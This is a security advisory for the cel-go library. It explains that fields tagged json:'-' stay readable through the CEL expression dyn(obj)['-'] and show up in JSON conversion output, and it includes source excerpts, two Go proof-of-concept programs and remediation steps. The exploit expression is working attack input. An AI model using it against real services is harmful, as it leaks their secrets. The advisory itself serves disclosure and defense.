GHSA-gcjh-h69q-9w9g
cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag
Quick fix
GHSA-gcjh-h69q-9w9g — github.com/google/cel-go: upgrade to the fixed version with the command below.
go get github.com/google/cel-go@v0.29.0 Details
The function `ext.NativeTypes(ParseStructTag("json"))` does not honour the `encoding/json` skip directive `json:"-"`. Fields tagged `json:"-"` are registered in the CEL type system under the literal name `"-"` and are readable from any user-submitted CEL expression via `dyn(obj)["-"]`.
Additionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.
## Root cause
In `fieldNameByTag`, the helper used by `ParseStructTag("json")` to translate Go struct tags into CEL field names.
See at `ext/native.go:146`:
```go func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string { return func(field reflect.StructField) string { tag, found := field.Tag.Lookup(structTagToParse) if found { splits := strings.Split(tag, ",") if len(splits) > 0 { // We make the assumption that the leftmost entry in the tag is the name. // This seems to be true for most tags that have the concept of a name/key, such as: // https://pkg.go.dev/encoding/xml#Marshal // https://pkg.go.dev/encoding/json#Marshal // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal name := splits[0] return name } }
return field.Name } } ```
For a field tagged `json:"-"`, this code splits the tag into `[]string{"-"}` and returns `"-"` as the CEL field name. It never checks whether `"-"` is the JSON skip sentinel.
This contradicts the `encoding/json` rule that the source comment explicitly points readers to:
```text As a special case, if the field tag is "-", the field is always omitted. Note that a field with name "-" can still be generated using the tag "-,". ```
The public option also documents JSON-style parsing as the intended behavior. See at `ext/native.go:190`:
```go // ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field. // For example: // If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo". // If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo". func ParseStructTag(tag string) NativeTypesOption { return func(ntp *nativeTypeOptions) error { ntp.fieldNameHandler = fieldNameByTag(tag) return nil } } ```
A developer using `ParseStructTag("json")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:"-"` is treated as a real field name.
The bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
See at `ext/native.go:663`:
```go if fieldNameHandler != nil { fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ { field := refType.Field(idx) fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found { return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName) } else { fieldNames[fieldName] = struct{}{} } } } ```
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at `ext/native.go:286`:
```go func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) { if t, found := tp.nativeTypes[typeName]; found { fieldCount := t.refType.NumField() fields := make([]string, fieldCount) for i := 0; i < fieldCount; i++ { fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i)) } return fields, true } if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found { return celTypeFields, true } return tp.baseProvider.FindStructFieldNames(typeName) } ```
Field lookup also treats the name as valid and returns the underlying Go field value.
See at `ext/native.go:303`:
```go func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) { t, found := tp.nativeTypes[typeName] if !found { return tp.baseProvider.FindStructFieldType(typeName, fieldName) } refField, isDefined := t.hasField(fieldName) if !found || !isDefined { return nil, false }
return &types.FieldType{ IsSet: func(obj any) bool { refVal := reflect.Indirect(reflect.ValueOf(obj)) refField := refVal.FieldByName(refField.Name) return !refField.IsZero() }, GetFrom: func(obj any) (any, error) { refVal := reflect.Indirect(reflect.ValueOf(obj)) refField := refVal.FieldByName(refField.Name) return getFieldValue(refField), nil }, }, true } ```
At runtime, native objects advertise index access. See at `ext/native.go:37`:
```go var ( nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType ) ```
Because `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `"-"` field with bracket access:
```cel dyn(req.auth)["-"] ```
The same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at `ext/native.go:501`:
```go case jsonStructType: refVal := reflect.Indirect(o.refValue) refType := refVal.Type() fields := make(map[string]*structpb.Value, refVal.NumField()) for i := 0; i < refVal.NumField(); i++ { fieldType := refType.Field(i) fieldValue := refVal.Field(i) if !fieldValue.IsValid() || fieldValue.IsZero() { continue } fieldName := toFieldName(o.valType.fieldNameHandler, fieldType) fieldCELVal := o.NativeToValue(fieldValue.Interface()) fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType) if err != nil { return nil, err } fields[fieldName] = fieldJSONVal.(*structpb.Value) } return &structpb.Struct{Fields: fields}, nil ```
This means a `json:"-"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)["-"]`, and it can appear under the key `"-"` in JSON struct conversion output.
The blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.
See at `ext/native.go:609`:
```go func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) { nt, err := newNativeType(fieldNameHandler, rawType) if err != nil { return nil, err } result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type) iterateStructMembers = func(t reflect.Type) { if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map { iterateStructMembers(t.Elem()) return } if t.Kind() != reflect.Struct { return }
nt, ntErr := newNativeType(fieldNameHandler, t) if ntErr != nil { err = ntErr return } result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ { iterateStructMembers(t.Field(idx).Type) } } iterateStructMembers(rawType)
return result, err } ```
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:"-"` secret, CEL still receives a readable field named `"-"` even though the developer never registered or audited that nested type directly.
## Reproduction
```go package main
import ( "fmt" "reflect"
"github.com/google/cel-go/cel" "github.com/google/cel-go/ext" )
// Simulates a library type; developer never registers this directly. type AuthCtx struct { UserID string `json:"userId"` Secret string `json:"-"` // server-internal; never appears in JSON output }
// Developer registers only this type. type Req struct{ Auth AuthCtx `json:"auth"` }
func main() { env, _ := cel.NewEnv( // Only Req is passed; AuthCtx is registered silently by newNativeTypes. ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")), cel.Variable("req", cel.ObjectType("main.Req")), ) ast, _ := env.Compile(`dyn(req.auth)["-"]`) prg, _ := env.Program(ast) out, _, _ := prg.Eval(map[string]any{ "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}}, }) fmt.Println(out) // sk-live-s3cr3t } ```
**Expected:** expression compile error or empty result; `json:"-"` field should not be accessible. **Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.
The same field is also included under key `"-"` in `ConvertToNative(jsonStructType)` output, and appears in `FindStructFieldNames` enumeration.
### path 1. CEL indexing
Tested against the released module `github.com/google/cel-go v0.28.1` (latest stable release as of 2026-05-12), using the `go.mod` entry:
``` require github.com/google/cel-go v0.28.1 ```
Running the PoC above (`go run main.go`) produces:
``` sk-live-s3cr3t ```
The secret value is returned verbatim, with no error at compile time or at runtime.
### Path 2. `ConvertToNative(jsonStructType)`
When the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct` (the representation used whenever CEL output is serialised to JSON), the `json:"-"` field appears in the output map under the key `"-"`.
```go package main
import ( "encoding/json" "fmt" "reflect"
"github.com/google/cel-go/cel" "github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb" )
type AuthCtxConv struct { UserID string `json:"userId"` Secret string `json:"-"` // should never appear in JSON output }
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() { env, _ := cel.NewEnv( ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")), cel.Variable("req", cel.ObjectType("main.ReqConv")), )
ast, _ := env.Compile(`req.auth`) prg, _ := env.Program(ast) out, _, _ := prg.Eval(map[string]any{ "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}}, })
jsonStructType := reflect.TypeOf(&structpb.Struct{}) raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct) b, _ := json.MarshalIndent(st.AsMap(), "", " ") fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b) fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil) if v, ok := st.Fields["-"]; ok { fmt.Printf("Value: %s\n", v.GetStringValue()) } } ```
Running the PoC above produces:
``` ConvertToNative(jsonStructType) output: { "-": "sk-live-s3cr3t", "userId": "alice" }
Direct field access via "-" key present: true Value: sk-live-s3cr3t ```
The `"-"` key is present in the serialised Protobuf struct alongside `userId`. Any system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()["-"]` indexing path is used.
## Impact
Any user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag("json"))` can read struct fields that the developer explicitly marked `json:"-"` to keep out of serialised output. By writing `dyn(obj)["-"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
## Remediation
Do not treat `json:"-"` as a CEL field named `"-"`. Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact `json:"-"` returns “skip this field”, while `json:"-,"` continues to mean the literal field name `"-"`, matching `encoding/json` semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in `newNativeType` - field enumeration in `FindStructFieldNames` - field type lookup in `FindStructFieldType` - runtime lookup in `fieldByName` / `hasField` - object construction in `NewValue` - JSON conversion in `ConvertToNative(jsonStructType)`
Apply the same omit handling for `xml:"-"`, `yaml:"-"`, and `bson:"-"` where `ParseStructTag` is used.
Are you affected?
Enter the version of the package you're using.
Affected packages
0.22.0 Fixed in: 0.29.0 go get github.com/google/cel-go@v0.29.0